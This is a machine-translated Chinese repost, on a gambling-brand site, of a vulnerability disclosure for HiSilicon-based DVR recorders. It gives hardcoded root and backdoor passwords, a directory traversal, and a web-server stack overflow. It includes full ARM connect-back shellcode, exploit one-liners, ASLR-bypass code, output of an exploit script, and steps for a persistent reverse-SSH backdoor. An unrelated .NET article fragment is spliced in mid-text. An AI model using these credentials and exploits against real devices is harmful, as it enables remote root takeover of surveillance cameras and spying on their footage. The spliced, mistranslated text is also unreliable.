HiSilicon DVR 黑客条记 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

HiSilicon DVR 黑客条记

申博_安全预警 申博 166次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

媒介

该申报表露了运用HiSilicon hi3520d和片上体系(SOC)构建的DVR/NVR装备的严峻破绽(具有POC代码)。应用破绽会致使仅运用Web界面的未经受权的长途代码实行(RCE),致使被进击装备的完全接收。由于缺少晋级固件,不发起运用这些装备。2016年12月之前已与供应商联络,但仍未取得复兴。表露日期为2017年2月。
几年前我在eBay上购买了低价的中文DVR装备。该装备的启动徽标显现:“SECULINK – 平安监控”。作为IT平安爱好者,我决议细致检察该装备,相识平安监控效劳的“平安性”。经由历程谷歌搜刮这个话题,我发明了一些风趣的资料,然则深切发掘,发明了关于该装备更风趣、更严峻的题目( 0days)。

探究DVR

起首我们应当进修官方用户界面,然后深切发掘,或许试验猎取固件。固件增加了发明破绽的时机。

简朴归纳综合DVR

用于测试的DVR装备被标记为“Seculink”。
HiSilicon DVR 黑客条记
可用的物理接口:

  • 2个USB端口(鼠标可用于掌握GUI掌握台),

  • 用于衔接外接显现器的HDMI端口和VGA(用于GUI和摄像头视图),

  • 用于模仿闭路电视摄像机的4个BNC衔接器,

  • 内部的SATA端口用于衔接存储以纪录视频流,

  • 用于收集接见的以太网端口

官方用户界面:

  • 运用HDMI(或VGA)作为输出直接接见,运用USB鼠标/键盘输入摄像机视图/掌握/完全设置,

  • 经由历程HTTP举行收集接见以举行摄像机检察/掌握
    可直接接见的设置界面受用户身份验证(用户名,暗码)的限定。默许超等用户为“admin”,默许暗码为空。
    在设置强暗码以后,用户能够觉得平安,其他人没法接见他/她的相机视图。人们经常将DVR装备的Web端口(tcp / 80)从其平安LAN转发到WAN侧,以便从外部接见DVR流(我们能够经由历程适宜的Shodan搜刮来搜检这一点;)。
    ## 取得固件
    猎取固件的要领能够有很多:

  • 经由历程一些软要领(运用官方接口或应用某种破绽)从装备中猎取它,
  • 经由历程一些硬要领(JTAG,串行掌握台等)从装备中猎取它,
  • 从互联网上查找并下载(若是可用)。
    虽然后一种要领在这里是可行的,也是最简朴的,然则让我们来尝尝第一种,由于它也供应了关于装备的其他信息。
    ## 效劳扫描
    让我们在DVR上举行全端口扫描。请注重,(默许情况下,若是由root运转)SYN扫描异常慢,由于数据包丧失,但完全的TCP衔接扫描将在几分钟后完成。
    # Nmap 7.40 scan initiated Sun Sep  3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
    Nmap scan report for dvr.lan (192.168.88.127)
    Host is up (0.028s latency).
    Not shown: 65529 closed ports
    PORT      STATE SERVICE       VERSION
    23/tcp    open  telnet        BusyBox telnetd
    80/tcp    open  http          uc-httpd 1.0.0
    554/tcp   open  rtsp          LuxVision or Vacron DVR rtspd
    9527/tcp  open  unknown
    34567/tcp open  dhanalakshmi?
    34599/tcp open  unknown
    MAC Address: 00:12:12:15:B3:E7 (Plus )
    Service Info: Host: LocalHost; Device: webcam
    # Nmap done at Sun Sep  3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds

    总结和手动测试:

  • 23 / tcp是一个telnet登录界面,受一些用户名+暗码(不是应用递次凭证)的珍爱
  • 80 / tcp是受应用递次凭证珍爱的Web界面
  • 554 / tcp是一个rtsp效劳; 它能够经由历程一个大众rtsp url翻开:
    rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

    请注重,翻开rtsp流也须要凭证。

  • 9527 / tcp好像是一个隐秘效劳端口,具有一些异常风趣的功用,
  • 34567 / tcp和34599 / tcp好像是与DVR应用递次相干的一些数据端口。

在这里,我们应当声明该装备多是一些相似Linux的体系。
经由历程raw netcat衔接到9527 / tcp显现应用递次掌握台的日记音讯和登录提醒。运用任何已界说的应用递次凭证登录都有效。help在提醒符后发出,给出了掌握台敕令的简短形貌。敕令 shell好像是最风趣的。是的,它为装备供应了root shell。;)
请注重,这显然是一个严峻的平安题目,由于任何(低权限)应用递次用户都不该自动猎取装备上的root shell。

root shell

在root shell中探究装备(比方,经由历程dmesg)能够显着看出DVR运转的是Linux内核(版本3.0.8),它有一个ARMv7 CPU,SoC模子是hi3520d
从正在运转的历程列表中(ps)能够清楚地看到,DVR应用递次/var/Sofia正在侦听34568 / udp和34569 / udp和nmap(netstat -nlup)检测到的上述tcp端口。
从已装入的磁盘列表(mount敕令)中,能够清楚地看到固件映像在/dev/mtdblockX装备中(个中X = 0,1,2,3,4,5)。
固件很小,因而遭到限定,因而若是我们想要将文件复制到装备或从装备复制文件,我们应当换个头脑体式格局。荣幸的是支撑NFS,以是在我们的台式机上装置一台NFS效劳器,并从DVR装置它,能够解决题目:

mount -t nfs 192.168.88.100:/nfs /home -o nolock

如今取得固件很简朴:

cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

我们能够会猎取文件(不只仅是原始图象):

cp / var / Sofia / home /
tar -cf /home/fs.tar / bin / boot / etc / lib / linuxrc / mnt / opt / root / sbin / share / slv / usr / var

telnet接口

要经由历程telnet接口(端口23 / tcp)接见装备,我们能够须要一些操作体系凭证。看看/etc/passwd,我们猎取root用户的暗码hash值:

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

请注重,除root以外没有其他用户,统统内容都以完全权限运转。(因而若是有人以某种体式格局入侵装备,没有阻止,进击者马上取得悉数权限。)
假定一个六个字符的小写字母数字暗码,hashcat会疾速破解上述弱DES hash:

$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: absxcfbgXtb3o
Time.Started.....: Sun Sep  3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep  3 03:27:36 2017 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1 [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   815.9 kH/s (203.13ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 121360384/2176782336 (5.58%)
Rejected.........: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A
Started: Sun Sep  3 03:25:04 2017
Stopped: Sun Sep  3 03:27:38 2017

因而经由历程端口23 / tcp上的telnet接口登录用户root和暗码xc3511是能够的。这个硬编码的root帐户能够在弗成封闭的telnet接口上接见,这显然是一个后门。
在我们的研讨之前,险些其他任何人都能够取得这些效果,但以下是全新的。

固件逆向

探究固件后发明,二进制文件/var/Sofia是完成除视频处置惩罚以外的统统接口的主要应用递次。以是这个二进制文件对我们来讲好像是最值得存眷的。
不幸的是,它(作为静态链接)被剥离,这使得静态剖析变得更难:

`$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info`

因而,除静态剖析(运用radare2或IDA)外,动态剖析应当异常有效。

长途gdb

关于动态剖析,将GDB链接到长途/var/Sofia应用递次应当是有益的。引荐的要领是在长途装备上运转(和衔接) gdbserver,并从当地机械将gdb衔接到它。
固然,我们须要为恰当的ARM体系构造编译一个gdbserver(最好是静态的)。为了构建它,我们能够运用 Clibc,它是嵌入式体系(好比我们的DVR)引荐的C库。可用的构建是动态构建,在我们的DVR上是有题目的,以是我们应当本身定制静态构建。有一个很好的构建情况叫做Buildroot,它能够让构建开箱即用(运用make menuconfig挑选所需的应用递次(比方gdb ),不要遗忘挑选静态库,然后运转make )。
经由短暂的构建(约10 – 15分钟),统统须要的对象都应当可用。静态二进制文件能够经由历程前面提到的NFS要领传输到装备。请注重,变量/var 的目次包罗Sofia二进制文件是ramfs,因而它不会在从新启动时连结稳固。若是我们想要永远地传输二进制文件,那末/mnt/mtd包罗设置装备摆设文件的rw分区应当是适宜的目的。若是你也构建了openssh包,scp将可用,这使得文件传输越发轻易。
如今固件已准备好举行一些逆向。长途衔接gdbserver如今事变一般( 运用ps猎取Sofia历程的PID是很轻易的 ) :

`$ /mnt/mtd/gdbserver --attach :2000 610`

从当地机械衔接:

$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

请注重,发起运用一些GDB扩大(如 GEF)。若是由于某种缘由停息应用递次不起作用(运用Cc),则向Sofia历程发送TRAP旌旗灯号(经由历程 kill -TRAP 610)应当会停息它。

搜检认证递次

静态剖析的引荐对象显然是Hex-Ray的 IDA Pro。不幸的是,它不廉价,但比任何其他对象都好。
初始自动剖析后有15.000多个函数,但找到auth函数只是IDA的一个霎时(运用简朴的Python剧本)。下面的 IDAPython代码片断搜刮援用与“Users” 和 “Password” 相干的任何内容的统统函数(同时):

x1, x2 = set(), set()
for loc, name in Names():
  if "Users" in name:
    for addr in XrefsTo(loc):
      x1.add(GetFunctionName(addr.frm))
  elif "Password" in name:
    for addr in XrefsTo(loc):
      x2.add(GetFunctionName(addr.frm))
print x1 & x2

效果只要一个功用:sub_2D857C。对该功用的疾速剖析确认了这应当是身份验证功用。
对明文暗码和硬编码字符串举行初始搜检(从设置装备摆设中猎取用户的暗码哈希值之前)。若是经由历程,则授与身份验证。这是应用递次中的歹意后门。通用暗码是:I0TO5Wv9
运用此暗码,我们能够以任何用户(比方管理员)接见应用递次中的任何内容。比方,猎取视频流:
$ cvlc'rtsp://192.168.88.127:554 / user = admin&password = I0TO5Wv9&channel = 1&stream = 0.sdp'
或许在应用递次掌握台(9527 / tcp)上取得root shell也能够:

$ nc 192.168.88.127 9527
nc: using stream socket
username:admin
password:I0TO5Wv9
login(admin, ******, Console, address:)
admin$

认证算法另有一个风趣的效果:在某些情况下,认证函数不只接收暗码,还接收散列。不只能够经由历程暗码而且能够经由历程hash(存储在/ mnt / mtd / Config / Account1中)翻开rtsp视频流。比方,tlJwpbo6是空暗码的hash值(拜见下一节),因而

cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

一样有效。

暗码散列函数

auth函数(更深层)静态剖析的另一个效果:暗码散列函数是sub_3DD5E4。它基本上是带有一些新鲜转换的MD5。逆向并在Python中完成:

import hashlib
def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h

实行hash算法,能够强迫运用暗码或设置恣意暗码。

内置webserver中的缓冲区溢出

Sofia二进制文件处置惩罚端口80/tcp上的HTTP请求。让我们试着对这些请求举行殽杂处置惩罚。固然,附加gdb (见上文)应当会有所资助。现实上,我们应当停止Sofia历程,并运用gdbserver从新启动它,以检察掌握台输出:

$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia

在当地:

$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef>  c

如今让我们看看GET请求。没有回应:

$ echo 'GET /' | nc 192.168.88.127 80

一般相应(纵然没有准确的封闭):

$ echo -ne'GET / HTTP'| nc 192.168.88.127 80

用looong请求测试是不是有溢出:

$ python -c 'print "GET " + "a"*1000 + " HTTP"' |  nc 192.168.88.127 80

很好,相应是200,带有“404 File Not Found”音讯,但我们能够在gdb中看到一个出色的瓦解。;)
请注重,Sofia应用递次启用了watchdog内核模块。若是它有一分钟没有运转,装备将从新启动。若是我们用长途装备举行试验,这一方面是好的,然则若是我们想顺遂地举行调试,那末很蹩脚。
watchdog一旦启动就没法封闭,因而挣脱它的独一要领是经由历程从新刷新来修正只读固件。除非我们想要测试我们的装备,否则不发起运用。;)

递次流掌握

(在进击者看来)为何此次瓦解云云美好?长途历程Sofia取得了SIGSEGV (分段毛病),客栈中充满了我们的“a”字符,但最主要的是: $pc (递次计数器)寄存器中有我们注入的值0x61616160(“aaaa” – 1)(多是由ret触发的,但缘由其实不主要)。这应当是典范的客栈溢出,这意味着我们有时机轻松掌握递次流。
经由一些试验(距离减半) :

.NET高等代码审计(第四课) JavaScriptSerializer反序列化破绽

作者: Ivan1ee@360云影实验室 0X00 前言 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions

$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' |  nc 192.168.88.127 80

这也致使了SIGSEGV,而且$ pc寄存器是0x7a797876 (〜“wxyz”;相反,由于字节排序是little-endian;而-1是由于对齐)。payload在$ sp + 0x14(客栈基址+ 0x14)处最先(带有“0123aaa …”)。

长途代码实行

最轻易和有效地应用这类溢出是经由历程将一些shellcode注入客栈并将递次流重定向到那边。如许我们就可以够在目的上取得恣意的长途代码实行。由于装备操作体系上没有权限星散,这意味着完全掌握(root shell接见)。
然则,启用破绽应用减缓手艺能够会使进击者更难入侵。
防备客栈上的shellcode的最基本要领是No-eXecute(NX)位手艺。这能够防备在选定的内存页面上(一般是具有写入权限的页面,如客栈)实行代码。荣幸的是(从进击者看来;)),没有NX位设置(检察STACK标记,rwx):

$ objdump -b elf32-littlearm -p Sofia
Sofia:     file format elf32-littlearm
Program Header:
0x70000001 off    0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
         filesz 0x000132a8 memsz 0x000132a8 flags r--
    LOAD off    0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
         filesz 0x005371dc memsz 0x005371dc flags r-x
    LOAD off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
         filesz 0x000089c8 memsz 0x000dad8c flags rw-
     TLS off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
         filesz 0x00000004 memsz 0x00000018 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>

或许在gdb gef中运用checksec。gdb gef中的checksec也关照我们没有其他的减缓步伐,比方客栈canary(这很显着,由于若是存在客栈canary,我们没法掌握带有客栈溢出的$ pc)。
在猎取RCE事变之前,我们独一应当晓得的是客栈地点。我们应当在payload的恰当地位(上文中的“wxyz”)注入地点$sp+0x14,以便将递次流重定向到shellcode。
另有一种减缓手艺能够使这变得越发难题(或许异常难题,在某些情况下险些不能够):地点空间布局随机化(ASLR)。ASLR随机化存储器段的基址(比方,客栈的基址)。
命运运限欠好,ASLR被启用(“2”透露表现完全随机化,“0”被禁用):

$ cat / proc / sys / kernel / randomize_va_space
2

没有ASLR的RCE

让我们先试验在ASLR封闭的情况下应用溢出。

$ echo 0 > /proc/sys/kernel/randomize_va_space

依照上面的历程,我们取得SIGSEGV瓦解时客栈地点($ sp)是0x5a26f3d8(而且在ASLR封闭的分歧运转中它是雷同的)。
因而payload应当是:

python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80

个中shellcode应当是我们想要实行的,最好是connectback shellcode。请注重,必需制止“badchars”: 0x00, 0x0d (‘\n’), 0x20 (‘ ‘), 0x26 (‘&’), 0x3f (‘?’)。另外,另有299字节的巨细限定。Shellcode天生器没法处置惩罚我们的badchar列表,​​纵然运用自动编码器也没法解决题目(由于巨细限定)。
因而应当天生自界说shellcode。这里的shellcode运用socket,connect,dup2和execve体系挪用(或依据ARM天下的术语举行管理递次挪用)给出了一个衔接shell。我们必需严厉且具有创造性,以制止出错。这些只是为了便于浏览的标签不该被运用。

.section    .text
.global     _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0:    add  r1, pc, #1
_4:    bx   r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8:    add  r1, pc, #68      @ r1 <- pc+68 = 0xc+68 = 0x50
_a:    ldrb r2, [r1, #2]     @ r2 <- *0x52
_c:    sub  r2, #1           @ r2 <- r2-1
_e:    strb r2, [r1, #2]     @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10:   mov  r1, #2          @ r1 <- 2
_12:   add  r0, r1, #0      @ r0 <- r1 + 0 = 2
_14:   mov  r1, #1          @ r1 <- 1
_16:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_18:   lsl  r7, r1, #8      @ r7 <- r1<<8 = 1<<8 = 256
_1a:   add  r7, #25         @ r7 <- r7 + 25 = 281
_1c:   svc  1               @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e:   add  r6, r0, #0       @ r6 <- r0 + 0 = &socket
_20:   add  r1, pc, #44      @ r1 <- pc+44 = 0x24+44 = 0x50
_22:   mov  r3, #2           @ r3 <- 2
_24:   strh r3, [r1, #0]     @ 2 -> *0x50
_26:   mov  r2, #16          @ r2 <- 16
_28:   add  r7, #2           @ r7 <- r7 + 2 = 283
_2a:   svc  1                @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c:   mov  r7, #62       @ r7 <- 62
_2e:   add  r7, #1        @ r7 <- r7 + 1 = 63
_30:   mov  r1, #200      @ r1 <- 200
_32:   add  r0, r6, #0    @ r0 <- r6 + 0 = &socket
_34:   svc  1             @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36:   sub  r1, #1        @ r1 <- r1 - 1
_38:   bpl  _32           @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a:   add  r0, pc, #28     @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_3e:   strb r2, [r0, #7]    @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40:   push {r0, r2}        @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42:   mov  r1, sp          @ r1 <- sp
_44:   mov  r7, #11         @ r7 <- 11
_46:   svc  1               @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48:   mov  r7, #1          @ r7 <- 1
_4a:   add  r0, r7, #0      @ r0 <- r7 + 0 = 1
_4c:   svc  1               @ svc_1(r0) = exit(1)
_4e:   nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50:   .short 0xffff
_52:   .short 0x697b            @ port 31377 (hex(31337+0x100) in little-endian)
_54:   .byte 192,168,88,100     @ inet addr: 192.168.88.100
_58:   .ascii "/bin/shX"        @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde        @ deadbeef ;)

编译shellcode并猎取原始二进制字节(运用ARM的任何交织对象都能够事变,比方运用buildroot构建的对象 buildroot-2017.02.5/output/host/usr/bin/也能够):

$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef

向它注入payload应当能够使该破绽发挥作用,而且应当给长途装备供应一个connectback shell。
固然,起首要启动一个监听器192.168.88.100

$ nc -nvlp 31337

然后启动 payload:

$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex");  print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>

在当地 gdb Exp 应当有效 :) :

process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...

而且RCE已在netcat监听器上准备好:

nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket

如今能够在长途体系上实行arbitraty敕令(以root身份!)。
但不幸的是,破绽应用还没有准备好举行现实布置,由于ASLR已翻开,因而我们还没有得知shellcode肇端地点。

绕过ASLR

绕过ASLR并非一件轻易的事变,然则它一般能够经由历程一些新颖的的设法主意来完成。一般有两种要领能够做到这一点:

  • 在随机性发生器中发明一些缺点并经由历程暴力或局部走漏/重写来进击它,
  • 走漏长途二进制文件的随机内存地点。

如今暴力损坏好像没用了(触发毛病的地点将致使瓦解和慢速重启),以是只要走漏好像很轻易(若是我们能找到的话)。

经由长时间的研讨,险些不能不摒弃它,找不到任何破绽,但厥后一个设法主意从完全分歧的偏向涌现了。

Web效劳器中存在一个分歧的破绽,即目次遍历破绽。事实上,它也适用于列出目次(这也很主要)。

目次遍历破绽意味着:

$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

我们还能够取得目次列表:

$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<H1>Index of /mnt/web/../../etc</H1>

<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>

请注重,此破绽异常严峻,由于进击者能够读取任何文件,包孕录制的视频(若是装备有硬盘存储)。

另外,该破绽能够资助我们绕过ASLR。

/proc文件体系包罗了很多有关在/proc/[pid]目次中运转历程的信息。能够运用GET ../../proc列出/proc,如许我们就可以够取得统统的PID。若是 /proc/[pid]/cmdline/var/Sofia,则找到应用递次的PID。

绕过ASLR最主要的信息是 /proc/[pid]/smaps。此文件包罗内存页统计信息、页面地点和其他风趣信息(比方rss)。比方:

$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

/var/Sofia

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

...

4b699000-4be98000 rwxp 00000000 00:00 0
Size:               8188 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

...

这只是一页,该列表包罗约150页。

看看上面的构造(注重页面巨细,形式等),我们能够预测哪个包罗所需线程的客栈。客栈与基址的偏移量是常量(它是0x7fd3d8)。

预测内存页面的片断:

def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
        smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)

个中 smaps[t][1][0] is 是第t整页的巨细,smaps[t][1][1]是相干的RSS。

该片断是完全破绽应用剧本的一局部。有关剧本的扼要引见:

$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                            [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                            [-n] [-i] [-p] [-u] [--offset OFFSET]
                            [--cmdline CMDLINE]

exploit HiSilicon DVR devices

optional arguments:
  -h, --help         show this help message and exit
  --rhost RHOST      target host
  --rport RPORT      target port
  --lhost LHOST      connectback ip
  --lport LPORT      connectback port
  --bhost BHOST      listen ip to bind (default: connectback)
  --bport BPORT      listen port to bind (default: connectback)
  -n, --nolisten     do not start listener (you should care about connectback
                     listener on your own)
  -i, --interactive  select stack memory region interactively (rather than
                     using autodetection)
  -p, --persistent   make connectback shell persistent by restarting dvr app
                     automatically (DANGEROUS!)
  -u, --upload       upload tools (now hardcoded "./tools/dropbear" in script)
                     after pwn
  --offset OFFSET    exploit param stack offset to mem page base (default:
                     0x7fd3d8)
  --cmdline CMDLINE  cmdline of Sofia binary on remote target (default
                     "/var/Sofia")

post-exploitation

我们能用这个RCE做什么?统统。请记着,这是一个未经受权的RCE,它只运用收集效劳端口80/tcp。这个端口一般被转发到外部,以是若是进击者应用这个RCE接见接口,他就可以够接见内部局域网。

我们的进击剧本有一些很好的特征,好比它能够上传(之前编译过的)对象到受害者装备。

若是我们想建立一个耐久、稳固的后门,我们能够上传一个Dropbear,让它在当地监听,并向外部翻开一个反向SSH隧道。有了这类架构,就可以够随时随地登录DVR装备。

$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 dropbear@192.168.88.100

如今能够运用SSH经由历程反向隧道接见装备:

$ ssh -p2322 root@localhost
root@localhost's password:


BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to Monitor Tech.
[root@LocalHost /]$

总结

以下是已纪录的破绽:

破绽 风险 效劳 发明 碰撞
硬编码(后门)telnet暗码 23 / TCP 其他人 每一个能够接见telnet接口的人都能够完全掌握装备,即运用户设置了适宜的暗码
